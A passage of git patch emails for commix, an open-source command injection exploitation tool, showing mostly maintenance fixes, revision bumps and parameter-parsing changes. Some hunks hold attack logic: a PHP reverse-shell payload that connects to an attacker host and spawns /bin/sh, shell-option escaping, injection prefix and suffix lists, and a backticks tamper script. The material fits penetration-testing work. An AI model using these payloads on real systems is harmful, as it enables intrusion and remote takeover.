OUTPUT_TEXTFILE) else: - if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: payload = payloads.cmd_execution(separator, TAG, cmd) else: payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) @@ -443,7 +443,7 @@ def injection_test_results(response, TAG, randvcalc, technique): """ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: try: import html unescape = html.unescape diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index fc15dc13d7..ed6900ca84 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -50,7 +50,7 @@ def check_established_connection(): def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injection + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector # Command execution results. start = time.time() response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) @@ -61,9 +61,9 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ else: # Command execution results. start = time.time() - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - response = injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) else: from src.core.injections.results_based.techniques.classic import cb_injector as injector whitespace = settings.WHITESPACES[0] diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 4fcaef090c..3ebc407ac6 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -33,6 +33,7 @@ def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_ (call the injection handler) """ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): + settings.WEB_ROOT = "" # Check if attack is based on time delays. if not settings.TIME_RELATIVE_ATTACK : checks.time_relative_attaks_msg() diff --git a/src/utils/settings.py b/src/utils/settings.py index 3ed0f120d0..38f5fed956 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "104" +REVISION = "105" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fa8a9723e3197a30cca0dbbe5e855f3e5620a714 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 25 Oct 2024 08:41:24 +0300 Subject: [PATCH 0505/1023] Minor update regarding "PHP-reverse-shell" payload --- src/core/requests/requests.py | 1 + src/core/shells/bind_tcp.py | 2 ++ src/core/shells/reverse_tcp.py | 4 +++- src/utils/settings.py | 2 +- 4 files changed, 7 insertions(+), 2 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 8fc20e6d42..92e148c2cf 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -261,6 +261,7 @@ def estimate_response_time(url, timesec, http_request_method): Exceptions regarding requests failure(s) """ def request_failed(err_msg): + settings.VALID_URL = False try: diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index bd1c622c4a..840519ddb7 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -323,6 +323,8 @@ def bind_tcp_options(separator): # Option 2 - Other (Netcat-Without-Netcat) shells elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) + if settings.EVAL_BASED_STATE != False: + bind_tcp_option = bind_tcp_option.replace("$","\\$") if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: checks.shell_success("bind") break diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index e901ee2a6f..c953f01723 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -116,7 +116,7 @@ def other_reverse_shells(separator): # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ - "exec(\"/bin/sh -i <%263 >%263 2>%263\");'" + "$proc=proc_open(\"/bin/sh -i\",array(0%3d>$sock,1%3d>$sock,2%3d>$sock),$pipes);'" break # Perl-reverse-shell @@ -500,6 +500,8 @@ def reverse_tcp_options(separator): # Option 2 - Other (Netcat-Without-Netcat) shells elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) + if settings.EVAL_BASED_STATE != False: + reverse_tcp_option = reverse_tcp_option.replace("$","\\$") if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: checks.shell_success("reverse") break diff --git a/src/utils/settings.py b/src/utils/settings.py index 38f5fed956..ca3440f045 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "105" +REVISION = "106" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 1086debcd078370064edd1664204af14f409b8fd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Nov 2024 09:07:17 +0200 Subject: [PATCH 0506/1023] Improvements regarding shell options `reverse_tcp`, `bind_tcp` --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 13 ++++++--- .../injections/controller/shell_options.py | 27 ------------------- src/core/main.py | 13 +++++---- src/core/modules/shellshock/shellshock.py | 3 --- src/core/requests/headers.py | 2 ++ src/utils/settings.py | 2 +- 7 files changed, 21 insertions(+), 40 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 79b2ba9751..76ecb37356 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. * Revised: Major code refactoring regarding session handler. * Revised: Minor improvement regarding options `--prefix`, `--suffix`. * Revised: Improvement regarding writing text to the stdout (console) stream. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c5008d4329..7c4d9ec4da 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -370,9 +370,9 @@ def connection_exceptions(err_msg): settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) - if not settings.MULTI_TARGETS and not settings.CRAWLING: - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not any((settings.MULTI_TARGETS, settings.CRAWLING,settings.REVERSE_TCP,settings.BIND_TCP)): + warn_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.VALID_URL : if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: raise SystemExit() @@ -3048,7 +3048,12 @@ def time_relative_export_injection_results(cmd, separator, output, check_exec_ti Success msg. """ def shell_success(option): - info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." + info_msg = "Sending payload to target, for " + option + " TCP connection " + if settings.BIND_TCP: + info_msg += "against " + settings.RHOST + else: + info_msg += "on " + settings.LHOST + info_msg += ":" + settings.LPORT + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index ed6900ca84..4689ad7ba0 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -26,24 +26,6 @@ from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for established connection -""" -def check_established_connection(): - while True: - time.sleep(1) - if settings.VERBOSITY_LEVEL == 1: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "Something went wrong with the reverse TCP connection." - warn_msg += " Please wait while checking state." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - lines = os.popen('netstat -anta').read().split("\n") - for line in lines: - if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line: - pass - else: - return - """ Execute the bind / reverse TCP shell """ @@ -75,15 +57,6 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ # Evaluate injection results. shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): - check_established_connection() - # else: - # if settings.VERBOSITY_LEVEL == 1: - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "The " + os_shell_option.split("_")[0] + " " - err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - """ Configure the bind TCP shell """ diff --git a/src/core/main.py b/src/core/main.py index e4360a9590..f2779f4acc 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -562,12 +562,15 @@ def main(filename, url, http_request_method): # Accidental stop / restart of the target host server. except (_http_client.BadStatusLine, SocketError) as err_msg: - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "The target host is not responding." - err_msg += " Please ensure that is up and try again." - settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + err_msg = "Connection failed to be established." + else: + err_msg = "The target host is not responding." + err_msg += " Please ensure that is up and try again." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + raise SystemExit() try: filename = "" diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index c7b3fd67e7..c4223d375f 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -187,9 +187,6 @@ def file_access(url, cve, check_header, filename): """ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - err_msg = "The " + os_shell_option.split("_")[0] + " " - err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Configure the bind TCP shell diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f93cd7255a..dbd24b6bd6 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -163,6 +163,8 @@ def https_open(self, req): response = False unauthorized = False while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + _ = True if settings.MULTI_TARGETS: if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: settings.MULTI_ENCODED_PAYLOAD = [] diff --git a/src/utils/settings.py b/src/utils/settings.py index ca3440f045..48e5d54eb8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "106" +REVISION = "107" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 48575185e8c233e8ff39d88747ebe9c3a0908477 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 5 Nov 2024 17:56:09 +0200 Subject: [PATCH 0507/1023] Potential fix for https://github.com/commixproject/commix/issues/974 --- src/core/requests/parameters.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index cc40128cf5..9cddd2a9c0 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -724,6 +724,9 @@ def specify_cookie_parameter(cookie): break else: vuln_parameter = cookie + + if 'vuln_parameter' not in locals(): + return cookie return vuln_parameter diff --git a/src/utils/settings.py b/src/utils/settings.py index 48e5d54eb8..77b2599e25 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "107" +REVISION = "108" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 05b3b51bcecfbf1a82b4f05cee427aadf4a9998f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 6 Nov 2024 07:11:22 +0200 Subject: [PATCH 0508/1023] Potential fix for https://github.com/commixproject/commix/issues/973 --- src/thirdparty/beautifulsoup/beautifulsoup.py | 9 +++++---- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py index c0d2cc4b25..900f00e0a4 100644 --- a/src/thirdparty/beautifulsoup/beautifulsoup.py +++ b/src/thirdparty/beautifulsoup/beautifulsoup.py @@ -106,10 +106,11 @@ except NameError: from sets import Set as set -try: - import sgmllib -except ImportError: - from src.utils import sgmllib +from src.utils import sgmllib +# try: +# import sgmllib +# except ImportError: +# from src.utils import sgmllib try: import markupbase diff --git a/src/utils/settings.py b/src/utils/settings.py index 77b2599e25..364f9c21f5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "108" +REVISION = "109" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7d4db1a6a1cc30be8b4a5981390010baf931d69c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 7 Nov 2024 07:51:05 +0200 Subject: [PATCH 0509/1023] Potential fix for https://github.com/commixproject/commix/issues/975 https://github.com/commixproject/commix/issues/976 --- src/utils/crawler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 99700efe5f..01ffeb9465 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -112,7 +112,7 @@ def store_crawling(output_href): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) with open(filename, "a") as crawling_results: for url in output_href: - crawling_results.write(url + "\n") + crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n") return elif message in settings.CHOICE_NO: return diff --git a/src/utils/settings.py b/src/utils/settings.py index 364f9c21f5..84d404dc18 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "109" +REVISION = "110" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 75dee55d58ceae56cab9134c790b6a18a6ff8f6d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Nov 2024 19:03:01 +0200 Subject: [PATCH 0510/1023] Potential fix for https://github.com/commixproject/commix/issues/979 --- src/core/injections/controller/parser.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 693b67a686..07a85d3409 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -73,7 +73,7 @@ def invalid_data(request): try: if os.stat(request_file).st_size != 0: - with open(request_file, 'r') as file: + with open(request_file, encoding=settings.DEFAULT_CODEC) as file: request = file.read() else: invalid_data(request_file) diff --git a/src/utils/settings.py b/src/utils/settings.py index 84d404dc18..8df77ea131 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "110" +REVISION = "111" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9e65bfe37121bd1a62763a845f1444ed120cec26 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 12 Nov 2024 07:04:26 +0200 Subject: [PATCH 0511/1023] Potential fix for https://github.com/commixproject/commix/issues/978 --- src/thirdparty/flatten_json/flatten_json.py | 6 +++--- src/utils/settings.py | 4 +++- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 1d3129d52a..5815734e37 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -34,7 +34,7 @@ def _construct_key(previous_key, separator, new_key): else: return new_key -def flatten(nested_dict, separator="_", root_keys_to_ignore=""): +def flatten(nested_dict, separator=settings.FLATTEN_JSON_SEPARATOR, root_keys_to_ignore=""): """ Flattens a dictionary with nested structure to a dictionary with no hierarchy Consider ignoring keys that you are not interested in to prevent unnecessary processing @@ -87,7 +87,7 @@ def _unflatten_asserts(flat_dict, separator): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() -def unflatten(flat_dict, separator='_'): +def unflatten(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): """ Creates a hierarchical dictionary from a flattened dictionary Assumes no lists are present @@ -112,7 +112,7 @@ def _unflatten(dic, keys, value): return unflattened_dict -def unflatten_list(flat_dict, separator='_'): +def unflatten_list(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): """ Unflattens a dictionary, first assuming no lists exist and then tries to identify lists and replaces them This is probably not very efficient and has not been tested extensively diff --git a/src/utils/settings.py b/src/utils/settings.py index 8df77ea131..5691160847 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "111" +REVISION = "112" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1314,6 +1314,8 @@ class END_LINE: IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]" IGNORE_JSON_CHAR_REGEX = r"[{}\"\[\]]" +FLATTEN_JSON_SEPARATOR = ''.join(random.choice("{}") for _ in range(10)) + "_" + PERFORM_CRACKING = False PAGE_COMPRESSION = None From 786f28181631ae17f8baebc60add05901a9c9788 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Nov 2024 07:12:38 +0200 Subject: [PATCH 0512/1023] Patch related to the https://github.com/commixproject/commix/issues/980 --- src/core/injections/controller/checks.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7c4d9ec4da..d52eff8a89 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2109,6 +2109,7 @@ def check_similarities(all_params): parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG + all_params = [x for x in all_params if x is not None] return all_params """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 5691160847..8a8201312e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "112" +REVISION = "113" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4ea7410308ca187f28c0fae478d648e939e7bc5b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Nov 2024 10:47:22 +0200 Subject: [PATCH 0513/1023] Minor update --- src/utils/settings.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 8a8201312e..d162a28af9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "113" +REVISION = "114" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -509,16 +509,15 @@ class OS(object): # The command injection prefixes. PREFIXES = [] PREFIXES_LVL1 = [""] -PREFIXES_LVL2 = SEPARATORS_LVL1 +PREFIXES_LVL2 = PREFIXES_LVL1 + SEPARATORS_LVL1 PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] # The command injection suffixes. SUFFIXES = [] SUFFIXES_LVL1 = [""] -SUFFIXES_LVL2 = SEPARATORS_LVL1 +SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1 SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] - # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] From 92cf5d0fe807015d1622271c7ebf160b73455bef Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Nov 2024 08:16:01 +0200 Subject: [PATCH 0514/1023] Fixes https://github.com/commixproject/commix/issues/981 --- doc/CHANGELOG.md | 1 + src/core/tamper/backticks.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 76ecb37356..8749c7fc96 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Minor bug-fix regarding tamper script "backticks.py" * Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. * Revised: Major code refactoring regarding session handler. * Revised: Minor improvement regarding options `--prefix`, `--suffix`. diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 45f29695fe..169b8ccd88 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -28,7 +28,7 @@ def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True settings.USE_BACKTICKS = True - payload = payload.replace("$((", "`expr ").replace("))", "`") + payload = payload.replace("$((", "`expr" + settings.WHITESPACES[0]).replace("))", "`") return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index d162a28af9..1d6ec99af4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "114" +REVISION = "115" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 885bc884a78adb33f854f85f0c07d06af955a32b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Nov 2024 08:27:18 +0200 Subject: [PATCH 0515/1023] Potential fix for https://github.com/commixproject/commix/issues/984 --- src/core/requests/parameters.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9cddd2a9c0..e9dfe91c0d 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -207,6 +207,9 @@ def vuln_GET_param(url): else: vuln_parameter = url + if 'vuln_parameter' not in locals(): + return url + if settings.USER_DEFINED_POST_DATA and vuln_parameter: settings.IGNORE_USER_DEFINED_POST_DATA = True diff --git a/src/utils/settings.py b/src/utils/settings.py index 1d6ec99af4..0f8115ebab 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "115" +REVISION = "116" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 32ace9d74a182913fa873ffb1538453c7ef2b6a1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 25 Nov 2024 08:43:45 +0200 Subject: [PATCH 0516/1023] Potential fix for https://github.com/commixproject/commix/issues/983 --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d52eff8a89..26014e9f2c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -415,7 +415,7 @@ def not_declared_cookies(response): else: common.invalid_option(set_cookies) pass - except (KeyError, TypeError): + except (AttributeError, KeyError, TypeError): pass """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 0f8115ebab..7b7a6476fa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "116" +REVISION = "117" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fd779077f492be5a111402c9e742d20385a7e329 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Nov 2024 15:04:00 +0200 Subject: [PATCH 0517/1023] Potential fix for https://github.com/commixproject/commix/issues/985 --- src/core/requests/parameters.py | 67 +++++++++++++++++++-------------- src/utils/settings.py | 2 +- 2 files changed, 40 insertions(+), 29 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e9dfe91c0d..81043ae3c0 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -737,52 +737,63 @@ def specify_cookie_parameter(cookie): The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - header_name = settings.USER_AGENT - settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + try: + header_name = settings.USER_AGENT + settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + except AttributeError: + pass return user_agent """ The referer based injection. """ def specify_referer_parameter(referer): - header_name = settings.REFERER - settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + try: + header_name = settings.REFERER + 